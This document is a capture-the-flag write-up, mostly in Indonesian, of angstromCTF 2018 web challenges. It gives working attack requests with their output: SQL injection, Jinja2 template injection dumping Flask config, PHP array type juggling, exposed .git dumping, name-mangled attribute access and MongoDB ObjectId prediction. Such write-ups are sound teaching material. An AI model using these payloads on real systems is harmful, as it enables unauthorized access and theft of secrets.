Source Me 1
WEB, 20 pts There is only one goal: Log in.
Semua informasi yang kita butuhkan untuk login ada pada source htmlnya
jadi kita tinggal login dengan user admin dan password f7s0jkl
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Source Me 1</title>
</head>
<body>
<h2>Welcome to the admin portal!</h2>
Currently, only the user who can login is 'admin'.
<br>
<!-- Shh, don't tell anyone. The admin password is f7s0jkl -->
<form action="./login.php" method="get">
Username:<input type="text" name = "user"><br>
Password:<input type="text" name = "pass"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
http://web.angstromctf.com:6999/login.php?user=admin&pass=f7s0jkl
Welcome, admin. Here is your flag: actf{source_aint_secure}
GET ME
WEB, 30 Get me! Over here.
<!DOCTYPE html>
<html>
<body style="font-size: 18pt; margin: 10% 10% 10% 10%">
<p>
Get me! (if you're authorized)
</p>
<form method="GET">
<input type="hidden" name="auth" value="false">
<input type="submit" value="Submit">
</form>
</body>
</html>
bisa kita lihat disitu ada form dengan method get dan memiliki field auth dengan value false, ketika kita coba untuk submit form tersebut maka akan di dapatkan output
GET => http://web.angstromctf.com:3005/?auth=false
Output => Hey, you're not authorized!
Kita bisa menebak bawha parameter auth adalah boolean yang meiliki false/true
untuk mendapatkan authorisasi kita bisa mengganti false menjadi true
GET => http://web.angstromctf.com:3005/?auth=true
Output => Here you go: actf{why_did_you_get_me}
Sequel
WEB, 50 I found what looks like a Star Wars sequel fan club, but I believe the admin user is up to something more nefarious. Can you log in with the admin account and check it out?
Dari nama soalnya yang Sequel
mungkin memberikan kita clue terhadap SQLInjection
dan memang benar dengan menggunakan payload sederhana seperti ' OR 1=1#
pada field username
dan password kita dapat login dan flag sekaligus :)
curl -X POST http://web2.angstromctf.com:2345/ -d "username=' OR 1=1#&password=' OR 1=1#"
<!doctype html>
<html>
<head>
<title>Prequel Fan Club</title>
</head>
<body style="background-image: url('images/background2.jpeg');">
<h1 style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); font-size: 4em; color: red; background-color: yellow; font-
family: sans-serif;">actf{sql_injection_more_like_prequel_injection}</h1>
<img src="images/anakin.jpg"></img>
<img src="images/highground.jpg"></img>
<img src="images/sand.jpg"></img>
<img src="images/ironic.gif"></img>
<img style='width: 80%;' src="images/prequels.jpg"></img>
</body>
</html>#
Source Me 2
WEB, 50 Your goal hasn’t changed. Log in.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Source Me 2</title>
</head>
<body>
<h2>Welcome to the admin portal!</h2>
Currently, only the user who can login is 'admin'.
<br>
Username:<input type="text" id = "uname"><br>
Password:<input type="text" id = "password"><br>
<button onclick="checkLogin()">Log In</button>
<h4 style="color: red;" id="message"></h4>
</body>
<script src="./md5.js"></script>
<script>
var checkLogin = function () {
var password = document.getElementById("password").value;
if (document.getElementById("uname").value != "admin"){
console.log(uname);
document.getElementById("message").innerHTML = "Only admin user allowed!";
return;
} else {
var passHash = md5(password);
if (passHash == "bdc87b9c894da5168059e00ebffb9077"){
window.location = "./login.php?user=admin&pass=" + password;
} else {
document.getElementById("message").innerHTML = "Incorrect Login";
}
}
return;
}
</script>
</html>
Ini adalah lanjutan dari soal source me 1, kali ini dia menggunakan javascript untuk memvalidasi passwordnya
tapi dia menggunakan hash yang mudah dicari di rainbowtable atau dari google
hash yang di gunakan adalah md5 bdc87b9c894da5168059e00ebffb9077
plaintextnya adalah password1234
http://web.angstromctf.com:7000/login.php?user=admin&pass=password1234
Welcome, admin. Here is your flag: actf{md5_hash_browns_and_pasta_sauce}
MadLibs
WEB, 120 When Ian was a kid, he loved to play goofy Madlibs all day long. Now, he’s decided to write his own website to generate them!
setelah kita melakukan submit ternyata mereka memberikan kita akses source code di http://web2.angstromctf.com:7777/get-source
from flask import Flask, render_template, render_template_string, send_from_directory, request
from jinja2 import Environment, FileSystemLoader
from time import gmtime, strftime
template_dir = './templates'
env = Environment(loader=FileSystemLoader(template_dir))
madlib_names = ["The Tale of a Person","A Random Story"]
story_fields = {
"The Tale of a Person":['Author Name','Adjective','Noun','Verb'],
"A Random Story":['Author Name','Adjective','Noun','Any first name','Verb']
}
app = Flask(__name__)
app.secret_key = open("flag.txt").read()
@app.route("/",methods=["GET"])
def home():
return render_template("home.html",libs=madlib_names)
@app.route("/form/<templatename>",methods=["GET"])
def madlib(templatename):
global madlib_names
if templatename in madlib_names:
return render_template("home.html",libs=madlib_names,title=templatename,fields=story_fields[templatename])
else:
error_message = 'The MadLib with title "' + templatename + '" could not be found.'
return render_template("home.html",libs=madlib_names,message=error_message)
@app.route("/result/<templatename>",methods=["POST"])
def output(templatename):
if templatename not in madlib_names:
return "Template not found."
inpValues = []
for i in range(len(story_fields[templatename])):
if not request.form[str(i+1)]:
return "All form fields must be filled"
else:
inpValues.append(request.form[str(i+1)][:24])
authorName = inpValues.pop(0)[:12]
try:
comment = render_template_string('''This MadLib with title %s was created by %s at %s''' % (templatename, authorName, strftime("%Y-%m-%d %H:%M:%S", gmtime())))
except:
comment = "Error generating comment."
return render_template("_".join(templatename.lower().split())+".html",libtitle=templatename,footer=comment, libentries=inpValues)
@app.route("/get-source", methods=["GET","POST"])
def source():
return send_from_directory('./','app.py')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=7777, threaded=True)
terdapat celah template string pada soal ini lebih tepatnya pada kode berikut
comment = render_template_string('''This MadLib with title %s was created by %s at %s''' % (templatename, authorName, strftime("%Y-%m-%d %H:%M:%S", gmtime())))
yang bisa kita kontrol adalah authorName
jadi kita bisa memasukan payload template string kita disitu,
karena flag nya disimpan pada variable environment app
maka kita bisa menggunakan `` untuk memunculkannya
curl 'http://web2.angstromctf.com:7777/result/A%20Random%20Story' -H 'Content-Type: application/x-www-form-urlencoded' --data '1=%7B%7Bconfig%7D%7D&2=x&3=x&4=x&5=x' --compressed
<!doctype html>
<title>Angstrom MadLibs</title>
<body>
<h4>A Random Story</h4>
<p>
Once upon a time, there was a very x x named x.
x liked to x.
</p>
<h4>THE END</h4>
This MadLib with title A Random Story was created by &lt;Config {&#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTI
ONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: &#39;actf{wow_ur_a_jinja_ninja}&#39;, &#39;P
ERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(31), &#39;USE_X_SENDFILE&#39;: False, &#39;LOGGER_NAME&#39;: &#39;__main__&#39;, &
amp;#39;LOGGER_HANDLER_POLICY&#39;: &#39;always&#39;, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: None, &#39;SESSION
_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_CO
OKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&a
mp;#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(0, 43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;: False, &#39;TRAP_HTTP_EX
CEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASC
II&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: True, &#39;JSONIFY_MIMETYPE&#39;: &#39;appl
ication/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None}&gt; at 2018-03-24 09:23:03
<br><br>
<a href="/">Click here to return to the home page.</a>
<br><br>
MadLib generated using program found <a href="../get-source">here</a>
</body>
</html>
untuk lebih jelas tentang template string mungkin bisa baca di sini https://nvisium.com/resources/blog/2015/12/07/injecting-flask.html
MD5
WEB, 140 defund’s a true MD5 fan, and he has a site to prove it.
<?php
include 'secret.php';
if($_GET["str1"] and $_GET["str2"]) {
if ($_GET["str1"] !== $_GET["str2"] and
hash("md5", $salt . $_GET["str1"]) === hash("md5", $salt . $_GET["str2"])) {
echo $flag;
} else {
echo "Sorry, you're wrong.";
}
exit();
}
?>
<!DOCTYPE html>
<html>
<body style="font-size: 18pt; margin: 10% 10% 10% 10%">
<p>
People say that MD5 is broken... But they're wrong! All I have to do is use a secret salt. >:)
</p>
<p>
If you can find two distinct strings that—when prepended with my salt—have the same MD5 hash, I'll give you a flag. Deal?
</p>
<p>
Also, here's the <a href="src">source</a>.
</p>
<form method="GET">
String 1: <input type="text" name="str1" style="font-size: 18pt; margin: 10px 10px 10px 10px">
<br>
String 2: <input type="text" name="str2" style="font-size: 18pt; margin: 10px 10px 10px 10px">
<br>
<input type="submit" style="font-size: 18pt; margin: 10px 0 10px 0">
</form>
</body>
</html>
kita diberikan website yang meminta 2 input string, yang harus mempunyai md5 yang hasilnya jika di bandingkan dengan
===
sama , dan di sana ada prepend dengan variable $salt yang kita tidak ketahui isinya, jadi attack menggunakan
MD5 Magic hash tidak akan berhasil, untuk yg belum tau apa itu MD5 Magic Hash bisa lihat di https://www.whitehatsec.com/blog/magic-hashes/
jadi untuk menyelesaikan soal ini kita bisa merusak batasan validasi yang di buat menggunakan array di parameter input
if ($_GET["str1"] !== $_GET["str2"] and hash("md5", $salt . $_GET["str1"]) === hash("md5", $salt . $_GET["str2"]))
jika kita lihat lebih dekat disitu ada 2 validasi, validasi yang pertama adalah str1 !== str2 kemudian validasi ke 2
adalah hash md5 dari $salt+str1 harus sama dengan hash md5 dari $salt+str2
dengan menggunakan array kita hanya membypass untuk validasi yang ke 2, agar validasi yang pertama juga bisa terbypass kita bisa menggunakan huruf yang berbeda,
kurang lebih url akhirnya seperti ini : http://web.angstromctf.com:3003/?str1[]=a&str2[]=x
untuk mendapatkan flag
<?php
$salt ="S3cr3t1337";
var_dump(hash("md5", $salt.array("JOKOWI")) === hash("md5", $salt.array("WIDODO")));
?>
/*
Result True
Sat 23:22:20 with root in /tmp/ok via 🐘 v7.1.14 took 3s
•% ➜ php x.php
PHP Notice: Array to string conversion in /tmp/ok/x.php on line 5
PHP Notice: Array to string conversion in /tmp/ok/x.php on line 5
bool(true)
*/
Flag: actf{but_md5_has_charm}
FILE STORER
WEB, 160 My friend made a file storage website that he says is super secure. Can you prove him wrong and get the admin password?
Hint: Can't solve it? Git gud.
so the hint is Git gud, and finally we found .git directory here http://web2.angstromctf.com:8899/files/.git
and ue gitdumper to download all the content
Sat 16:50:18 with root in /tmp/test
•% ➜ gitdumper.sh http://web2.angstromctf.com:8899/files/.git/ .
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating ./.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/12/33bdadb67c905af6516a2e1b94ebf32a0a2f61
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/55/28cb84ba39060910e309688e2b340084623899
[+] Downloaded: objects/aa/168eed25aa55fff21054a858329cb4e1187ff0
[+] Downloaded: objects/b8/e1848501840d89d32c3f8eadfafe38a78f8203
[+] Downloaded: objects/63/9c13293220ac138c16cddfa9bea84d16e0d1a7
[+] Downloaded: objects/43/31a907733114461f8ce52a3076c48ac26c00c2
[+] Downloaded: objects/29/fff8b2c54b09cf0318dde83d1bcbdc1d6d22e8
Setelah kita dump folder .git nya kita bisa checkout ke commit terakhirnya, tapi commit terakhirnya malah semua file sudah di delete
jadi kita harus git checkout --hard
untuk kembali ke commit sebelumnya
Sat 16:57:09 with root in /tmp/test on 1233bda [✘]
•% ➜ git reset --hard
HEAD is now at 1233bda first commit
kita dapat file sourcecode index.py nya
from flask import Flask, request, render_template, abort
import os, requests
app = Flask(__name__)
class user:
def __init__(self, username, password):
self.username = username
self.__password = password
self.files = []
def getPass(self):
return self.__password
users = {}
users["admin"] = user("admin", os.environ["FLAG"])
@app.errorhandler(500)
def custom500(error):
return str(error), 500
@app.route("/", methods=["GET", "POST"])
def mainpage():
if request.method == "POST":
if request.form["action"] == "Login":
if request.form["username"] in users:
if request.form["password"] == users[request.form["username"]].getPass():
return render_template("index.html", user=users[request.form["username"]])
return "wrong password"
return "user does not exist"
elif request.form["action"] == "Signup":
if request.form["username"] not in users:
users[request.form["username"]] = user(request.form["username"], request.form["password"])
return render_template("index.html", user=users[request.form["username"]])
else:
return "user already exists"
elif request.form["action"] == "Add File":
return addfile()
return render_template("loggedout.html")
#beta feature for viewing info about other users - still testing
@app.route("/user/<username>", methods=['POST'])
def getInfo(username):
val = getattr(users[username], request.form['field'], None)
if val != None: return val
else: return "error"
@app.route("/files/<path:file>", methods=["GET"])
def getFile(file):
if "index.py" in file:
return "no! bad user! bad!"
return open(file, "rb").read()
def addfile():
if users[request.form["username"]].getPass() == request.form["password"]:
if request.form['url'][-1] == "/": downloadurl = request.form['url'][:-1]
else: downloadurl = request.form['url']
if downloadurl.split("/")[-1] in os.listdir("."):
return "file already exists"
file = requests.get(downloadurl, stream=True)
f = open(downloadurl.split("/")[-1], "wb")
first = True
for chunk in file.iter_content(chunk_size=1024*512):
if not first: break
f.write(chunk)
first = False
f.close()
users[request.form["username"]].files.append(downloadurl.split("/")[-1])
return render_template("index.html", user=users[request.form["username"]])
return "bad password"
if __name__ == "__main__": app.run(host="0.0.0.0")
yang menarik adalah fungsi berikut
#beta feature for viewing info about other users - still testing
@app.route("/user/<username>", methods=['POST'])
def getInfo(username):
val = getattr(users[username], request.form['field'], None)
if val != None: return val
else: return "error"
kita bisa menampilkan atribut yg kita mau dari user yang kita tentukan di url contohnya untuk mendapatkan username dari admin kita bisa lakukan posts request berikut
Sat 17:02:01 with root in /tmp/test on 1233bda
•% ➜ curl -X POST http://web2.angstromctf.com:8899/user/admin -d "field=username"
admin#
class user:
def __init__(self, username, password):
self.username = username
self.__password = password
self.files = []
def getPass(self):
return self.__password
users = {}
users["admin"] = user("admin", os.environ["FLAG"])
pada baris kode ini kita bisa lihat flag yang di ambil dari environment di masukan sebagai password dari user admin
berarti untuk mendapatkan flag kita harus bisa mendapatkan password dari admin yg mana adalah flag :D
variable untuk password adalah __password
tapi untuk memunculkan password kita tidak bisa langsung memanggil field __password
karena double underscore pada variable disini memiliki arti (_classname__attributename) sebutannya adalah (Name Mangling)
Any identifier of the form __spam (at least two leading underscores,
at most one trailing underscore) is textually replaced with
_classname__spam, where classname is the current class name
with leading underscore(s) stripped. This mangling is done
without regard to the syntactic position of the identifier,
so it can be used to define class-private instance and class
variables, methods, variables stored in globals, and even
variables stored in instances. private to this class on
instances of other classes.
Sat 17:02:01 with root in /tmp/test on 1233bda
•% ➜ curl -X POST http://web2.angstromctf.com:8899/user/admin -d "field=_user__password"
actf{2_und3rsc0res_h1des_n0th1ng}#
untuk lebih legkap tentang underscore pada python bisa lihat di https://shahriar.svbtle.com/underscores-in-python
THE BEST WEBSITE
WEB, 230
I have created what I believe to be the best website ever. Or maybe it’s just really boring. I don’t know.
Hint: My database is humongous!
=> MongoDB ?
<!--developers: make sure to record your actions in log.txt-->
=> http://web.angstromctf.com:7667/log.txt
pada file log.txt terlihat log pada perubahan yang di lakukan oleh developer dengan detail datetimenya
Sat Aug 10 2017 10:23:17 GMT-0400 (EDT) - Initial website
Sat Aug 10 2017 14:54:07 GMT-0400 (EDT) - Database integration
Sat Aug 11 2017 14:08:54 GMT-0400 (EDT) - Make some changes to the text
Sat Mar 17 2018 16:24:17 GMT+0000 (UTC) - Add super secret flag to database
kemudian pada file http://web.angstromctf.com:7667/js/init.js
ada endpoint boxes yang di fetch datanya menggunakan ajax
ids = ["5aad412be07e1e001cfce6d2","5aad412be07e1e001cfce6d3","5aad412be07e1e001cfce6d4"];
$(function() {
$.ajax({
url: "/boxes?ids="+ids.join(","),
success: function(data) {
data = JSON.parse(data)
$("#box1_title").text(data.boxes[0].data.split("^")[0])
$("#box1_caption").text(data.boxes[0].data.split("^")[1])
$("#box2_title").text(data.boxes[1].data.split("^")[0])
$("#box2_caption").text(data.boxes[1].data.split("^")[1])
$("#box3_title").text(data.boxes[2].data.split("^")[0])
$("#box3_caption").text(data.boxes[2].data.split("^")[1])
}
})
});
berdasarkan cluenya database menggunakan mongodb ternyata benar karena id yang digunakan sangat mirip dengan yang di gunakan pada mongodb
https://docs.mongodb.com/manual/reference/method/ObjectId/#ObjectIDs-BSONObjectIDSpecification
pada file log.txt yang mengatakan bahwa flag sudah ditambahkan ke database
berarti kita bisa memunculkan flagnya dengan memasukan id flag pada endpoint boxes. pertama kita harus mengkonstruksi id dari flag yang di simpan
ObjectID MongoDB
a 4-byte value representing the seconds since the Unix epoch,
a 3-byte machine identifier,
a 2-byte process id, and
a 3-byte counter, starting with a random value.
Object id yang di gunakan mongoDB mempunyai struktur diatas 4-byte
pertama adalah hexadecimal dari unix epoch time, kita bisa dapatkan waktunya
dari file log.txt Sat Mar 17 2018 16:24:17 GMT+0000 (UTC)
mengkonversi kan ke epoch dan kemudian
kedalam hexadecimal 5aad4131
kemudian machine identifier dan proccess id bisa di ambil dari id yang ada di script init.js e07e1e
and proccess id 001c
dan last counter dari id yang ada adalah fce6d4
jadi kita gunakan lastcounter+1 fce6d5
ID= [4-Byte Hex representing unix epoch time]+[3-Byte Machine identifier]+[2-Byte Proccess Id]+[3-Byte Counter]
Flag ID = 5aad4131e07e1e001cfce6d5
Get => http://web.angstromctf.com:7667/boxes?ids=5aad412be07e1e001cfce6d2,5aad412be07e1e001cfce6d3,5aad4131e07e1e001cfce6d5
Output =>
{
boxes: [
{
_id: "5aad412be07e1e001cfce6d2",
data: "Go away.^This website has literally nothing of interest. You might as well leave.",
__v: 0
},
{
_id: "5aad412be07e1e001cfce6d3",
data: "You will be very bored.^Seriously, there's nothing interesting.",
__v: 0
},
{
_id: "5aad4131e07e1e001cfce6d5",
data: "actf{0bj3ct_ids_ar3nt_s3cr3ts}",
__v: 0
}
]
}
Flag: actf{0bj3ct_ids_ar3nt_s3cr3ts}